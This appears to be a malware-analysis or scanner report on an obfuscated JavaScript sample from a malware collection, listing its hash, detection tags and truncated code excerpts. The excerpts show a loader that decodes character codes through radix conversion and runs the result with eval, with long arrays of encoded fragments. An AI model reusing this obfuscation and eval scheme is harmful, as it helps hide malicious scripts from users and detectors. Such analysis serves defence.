Suspicious ^80% javascript-malware-collection Download

1f240e61884921b205db66dce61ef41a6cb6aab177779ff024261688fa1ecf7b.js

obfuscated eval execution

parseInt toString radix remapMassive array index assignment

SHA-2561f240e61884921b205db66dce61ef41a6cb6aab177779ff024261688fa1ecf7b

Evidence

Obfuscated increment/decrement via arithmetic lines 1–7

1var CxPAecoIqwjDM=[];
2HKmsiDg=(-488+488)/97;while(true){if(HKmsiDg>=(123506+526)/969){break;}CxPAecoIqwjDM[HKmsiDg]=String.fromCharCode(HKmsiDg);HKmsiDg++;}
3function OQnEH(aAPtUhWKluS,pERbHnWWWQQbK,WvSDVWsS){mqUy=parseInt(aAPtUhWKluS,pERbHnWWWQQbK);AdMFM=mqUy.toString(WvSDVWsS);return AdMFM;}function FYEqhORLhpkEaGv(enowNvJCfSpyKTaYB){eval(enowNvJCfSpyKTaYB)}
4function UlCxHsSgcZoChIgrLrrxSgcvSphlbCrczVBNLQgtqTytQaSwpCBgcY(fSuEtDBFzdWEN,JPnDESUNnIWdWv){ return CxPAecoIqwjDM[OQnEH(fSuEtDBFzdWEN[JPnDESUNnIWdWv],(4893+757)/226,(7151+459)/761)];}
5function pTYZjMF(mXwOcYIlaoDPokCfhcVkTZVPSIiyhEZJKYUr) {return !isNaN(parseFloat(mXwOcYIlaoDPokCfhcVkTZVPSIiyhEZJKYUr)) && isFinite(mXwOcYIlaoDPokCfhcVkTZVPSIiyhEZJKYUr);}
6function PSPydbkzSEM(mlONcKPT,hcAdib){return mlONcKPT.split(hcAdib)}
7var W=[];W[0]="d";W[1]="a";W[2]="d";W[3]="a";W[4]="4i";W[5]="3m";W[6]="4e";W[7]="17";W[8]="2n";W[9]="17";W[10]="2b";W …

Massive array index assignment line 8

8:4324… ";L[861]="4g";L[862]="4e";L[863]="4l";L[864]="17";L[865]="17";L[866]="4n";L[867]="d";L[868]="a";L[869]="17";L[870]="17";L[871]="17";L[872]="17";L[873]="17";L[874]="17";L[875]="17";L[876]="17";L[877]="17";L[878]="17";L[879]="45";L[880]="42";L[881]="17";L[882]="1f";L[883]="1f";L[884]="1f";L[885]="4a";L[886]="41";L[887]="4j";L[888]="17";L[889]="2i";L[890]="3m";L[891]="4g";L[892]="41";L[893]="1f";L[894]="1g";L …